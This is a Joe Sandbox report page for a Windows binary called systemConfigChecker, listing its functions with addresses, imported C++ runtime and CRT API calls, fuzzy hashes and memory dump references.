Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df8cf8428a73b2714442bbd637f092005021725c8ab47a6cba6d15f8a732e014
Instruction ID: 83bfe33cf5b8b1a1634f05833249851f80e7aef1a419eb2a47628e2d39cc47a4
Opcode Fuzzy Hash: df8cf8428a73b2714442bbd637f092005021725c8ab47a6cba6d15f8a732e014
Instruction Fuzzy Hash: 67316032749B8286FA65EF25E4043B9A750FB54BD4F484836DF4D87B60DE3CE49A8700

Function 00007FF64E13B508 Relevance: 4.5, APIs: 3, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF64E13107B), ref: 00007FF64E13B522
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13B538

Part of subcall function 00007FF64E13BCA4: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF64E13BCAD
Part of subcall function 00007FF64E13BCA4: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF64E13B53D,?,?,?,00007FF64E13107B), ref: 00007FF64E13BCBE

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13B53E

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: 238c82254a5a0dd3bfdcea07084a0eea4643be32c8ba11d6a235a5ec125aee32
Instruction ID: 15586140243765adc2af2b00ae7209a42e152ffa112bcfe5754481821dc758f7
Opcode Fuzzy Hash: 238c82254a5a0dd3bfdcea07084a0eea4643be32c8ba11d6a235a5ec125aee32
Instruction Fuzzy Hash: 39E0B680ECE24B52FE68737124169B501400F753B0E1C1B30F97E86AC2BD1CA8554D20

Function 00007FF64E139DF0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z.MSVCP140 ref: 00007FF64E139E05
?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z.MSVCP140 ref: 00007FF64E139E11
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF64E139E1A

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?put@?$basic_ostream@_?widen@?$basic_ios@_V12@V12@_
String ID:
API String ID: 2094784882-0
Opcode ID: 7bf1451799b23f1ce879a372c8a86a1a3bb4693dc89d3fb925bfda278d19c75c
Instruction ID: 14fcaab3a75f7d9b8010736e5bed9ff5aa321bd82a5be63eb4f27d35e913cc70
Opcode Fuzzy Hash: 7bf1451799b23f1ce879a372c8a86a1a3bb4693dc89d3fb925bfda278d19c75c
Instruction Fuzzy Hash: 01D01734AC8B0682FA08BF26B8941781720AFA9F56B48A030ED0F87311CE3CD0958600

Function 00007FF64E139BD0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF64E139BE5
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF64E139BF1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF64E139BFA

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@V12@$?flush@?$basic_ostream@_?put@?$basic_ostream@?widen@?$basic_ios@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2670548386-0
Opcode ID: a91e5c45519eb8f51b08b89dc2630a913814ba17e6fe4b3f6d8b063faadf772a
Instruction ID: 8a79d0886eef22f21319f846b75a03e878f1e0fa71ec8d2a76b892c2f3b40133
Opcode Fuzzy Hash: a91e5c45519eb8f51b08b89dc2630a913814ba17e6fe4b3f6d8b063faadf772a
Instruction Fuzzy Hash: CAD01231A8870681EE087F16B8941341310AF99F41B085431ED0F47311CE3CD0558600

Function 00007FF64E136BC0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF64E136C31
fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF64E136C47

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID:
API String ID: 3401907645-0
Opcode ID: 84d1aada89cd4f08e3bbf216dfcb77ee72de2ef28ea993f6e0146b415928d795
Instruction ID: ccb4e0b20fc77b56df6e507300e726995c76277d870803274842c245e2fb0b86
Opcode Fuzzy Hash: 84d1aada89cd4f08e3bbf216dfcb77ee72de2ef28ea993f6e0146b415928d795
Instruction Fuzzy Hash: 39314172648B4181FB60AF1AD55036873A0FB69F98F548531DE5DC7BA4DF38D4A6C700

Function 00007FF64E137530 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00007FF64E131A88), ref: 00007FF64E1375C6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140(?,?,?,00007FF64E131A88), ref: 00007FF64E1375D7

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: D@std@@@std@@Init@?$basic_streambuf@U?$char_traits@fclose
String ID:
API String ID: 356833432-0
Opcode ID: baf789e10b114cee5e0dc2a749248d1481134e019c89cdd30f75a30e5dac250a
Instruction ID: 00d1cd742196769214e9069578e934af75660c567d59ed8cf952d618f8ce4530
Opcode Fuzzy Hash: baf789e10b114cee5e0dc2a749248d1481134e019c89cdd30f75a30e5dac250a
Instruction Fuzzy Hash: 2A213872A49B8184EB45AF39E4543A837A4FB58F48F048036EE5D87768DF39C489CB10

Function 00007FF64E1383C0 Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF64E138417

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 149e98f966ca39f545501bcc588d275b7c10951c67578fb38073e5381dc08cba
Instruction ID: 257c414c2a838eceea4994e7057bd9fff411fea0c512cc7ac72077a94cbdac5b
Opcode Fuzzy Hash: 149e98f966ca39f545501bcc588d275b7c10951c67578fb38073e5381dc08cba
Instruction Fuzzy Hash: BF019E72B08B9481EA00AF1AF20016EA371F798FC8B148532EF5C57F59DF38D5A28740

Function 00007FF64E139610 Relevance: 1.3, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,00007FF64E131CCF), ref: 00007FF64E139656

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 5dc8fa1c5b248780a8537c25d0c0cf88b713966feb18ba42258b0d7c8ad9e6c7
Instruction ID: cc8b1e817f7e7ce9819f639eb573a64e7a87c17e93a4a75daaf93cc0aa15180c
Opcode Fuzzy Hash: 5dc8fa1c5b248780a8537c25d0c0cf88b713966feb18ba42258b0d7c8ad9e6c7
Instruction Fuzzy Hash: 6101A262B08B9481EA00AB1AF6000ADA760F795FC4F144532EF6C17F59DF3DD5A28700

Non-executed Functions

Function 00007FF64E13BFAC Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF64E13BFC8
memset.VCRUNTIME140 ref: 00007FF64E13BFEC
RtlCaptureContext.KERNEL32 ref: 00007FF64E13BFF5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF64E13C00F
RtlVirtualUnwind.KERNEL32 ref: 00007FF64E13C050
memset.VCRUNTIME140 ref: 00007FF64E13C083
IsDebuggerPresent.KERNEL32 ref: 00007FF64E13C0A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF64E13C0C1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF64E13C0CC

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: b33f0b59232ef77628a0e21157c01a396e23f4d8de78da469aa8954c23b2d4cb
Instruction ID: ceb5893088a189df6ac6ab094ec0b6563926f6a6688cc87763763ed6c0ec012d
Opcode Fuzzy Hash: b33f0b59232ef77628a0e21157c01a396e23f4d8de78da469aa8954c23b2d4cb
Instruction Fuzzy Hash: E1315E76748B8186FB60AF60E8807ED7364FB94744F04443AEA4E87B99EF38D548CB10

Function 00007FF64E13C1BC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF64E13C1E8
GetCurrentThreadId.KERNEL32 ref: 00007FF64E13C1F6
GetCurrentProcessId.KERNEL32 ref: 00007FF64E13C202
QueryPerformanceCounter.KERNEL32 ref: 00007FF64E13C212

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 26322efcc4006b2a3fbf51e2f5d46ec533835fa6bb93ff54a7596d062d660e14
Instruction ID: 11998fca3748c2161dbeb5d281024072b1ae85f824e047a96895faef74579ec6
Opcode Fuzzy Hash: 26322efcc4006b2a3fbf51e2f5d46ec533835fa6bb93ff54a7596d062d660e14
Instruction Fuzzy Hash: 5E111C36B58B018AFB00AB60E8552A833A4FB69758F441E31EA6D87BA4DF7CD1548780

Function 00007FF64E13C150 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7219aed77cf3d566d0c56852d0d3a0fd15ec5d75e91c4be2dfb621eecc1fe0a9
Instruction ID: aade1102d9846a9a8d0d43f505453e88917f5bc7cdfa887398fe15f73d82c62f
Opcode Fuzzy Hash: 7219aed77cf3d566d0c56852d0d3a0fd15ec5d75e91c4be2dfb621eecc1fe0a9
Instruction Fuzzy Hash: 13A00231A8CE46D0F644BB00E9902352330FBB0750B404471F40EC38A19F3CA430DB14

Function 00007FF64E131520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13157F
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF64E13159E
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E1315D2
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF64E131609
isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF64E131648
?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF64E13166D
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF64E13169B
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E131782
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E13178C

Part of subcall function 00007FF64E139820: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E13986D
Part of subcall function 00007FF64E139820: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF64E13988D
Part of subcall function 00007FF64E139820: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E13989D
Part of subcall function 00007FF64E139820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E1398FD
Part of subcall function 00007FF64E139820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E139926
Part of subcall function 00007FF64E139820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E13995D

Strings

~, xrefs: 00007FF64E13165E
_, xrefs: 00007FF64E131659

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?sputc@?$basic_streambuf@$??6?$basic_ostream@?good@ios_base@std@@V01@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@?flush@?$basic_ostream@_?setw@std@@D@std@@@1@_J@1@_Smanip@_U?$_U?$char_traits@_V12@V21@@V?$basic_streambuf@Vios_base@1@W@std@@@std@@isalnum
String ID: _$~
API String ID: 2365617078-3740536066
Opcode ID: 8f68b8c8258da5cd91e34a757c6f19a2daf3b84494c5e989e5e3b3f3a5cd17a5
Instruction ID: caad51ba7854ac159ad18da959d9edd5bb158493baae680dca0e13b54b1eac60
Opcode Fuzzy Hash: 8f68b8c8258da5cd91e34a757c6f19a2daf3b84494c5e989e5e3b3f3a5cd17a5
Instruction Fuzzy Hash: C5717D72B4CB8186FB10EF55E4902AAA760FB94B88F548132EE4D93A69DF7CD445CB00

Function 00007FF64E138BE0 Relevance: 15.3, APIs: 10, Instructions: 333COMMON

Download Yara Rule

APIs

?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF64E138CC0
memcpy.VCRUNTIME140 ref: 00007FF64E138D7D
memcpy.VCRUNTIME140 ref: 00007FF64E138FA9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E138FDE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13901D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E139060
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E139099
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E13909F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E1390A5

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn$memcpy$?out@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 4130688501-0
Opcode ID: 73b376faba5fd1c577b732dcb95b495d3598767e36325b8f72f8f8c314cf383d
Instruction ID: 541d56d9cfce0f68860ded66c58cd6f23e8f2f007f959486b558832076acec0e
Opcode Fuzzy Hash: 73b376faba5fd1c577b732dcb95b495d3598767e36325b8f72f8f8c314cf383d
Instruction Fuzzy Hash: B3D18E62F5DB4185FB10FB64E4403BC2265EB69BA8F404232EA6D97FD9DE3CE4858700

Function 00007FF64E139820 Relevance: 13.6, APIs: 9, Instructions: 132COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E13986D
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF64E13988D
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E13989D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E1398FD
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E139926
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E13995D
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF64E1399A1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF64E1399A8
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF64E1399B5

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: ?sputc@?$basic_streambuf@D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 569342377-0
Opcode ID: 37b8ee53cb8b00479985113fba4434682f5c23c40aa0f0a0174690d29aea351c
Instruction ID: c753ae3b9d0ed48f620c2268f4f83585e195bf8cfb80d79c17afd14f76afd70c
Opcode Fuzzy Hash: 37b8ee53cb8b00479985113fba4434682f5c23c40aa0f0a0174690d29aea351c
Instruction Fuzzy Hash: 1851703264DB8186FB10AF19D5D023CA7A0FB94B95B158532DE5E87FA4CF39D856CB00

Function 00007FF64E13B250 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E13B2B5
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF64E13B2D5
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF64E13B2E5
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E13B32C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF64E13B359
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF64E13B37A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF64E13B3C0
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF64E13B3C7
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF64E13B3D4

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: b45920d080d8d4678659f56451c6e88468ea0ecd66730601f2742ce8c786c4e1
Instruction ID: 4bdacf9aad6d09ba34efcd1ffdabb49a7ac1680236a1c02daa33b7418cd9603b
Opcode Fuzzy Hash: b45920d080d8d4678659f56451c6e88468ea0ecd66730601f2742ce8c786c4e1
Instruction Fuzzy Hash: F151223264CA5181FB20BF1AD5D0A3DA7A0FF95F95B158531EE4E83B60DE3DD8468B00

Function 00007FF64E1390C0 Relevance: 10.8, APIs: 7, Instructions: 273COMMON

Download Yara Rule

APIs

?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF64E1391A6
memcpy.VCRUNTIME140 ref: 00007FF64E13925E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E139353
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13946E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1394BE
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E1394C5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64E1394CB

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

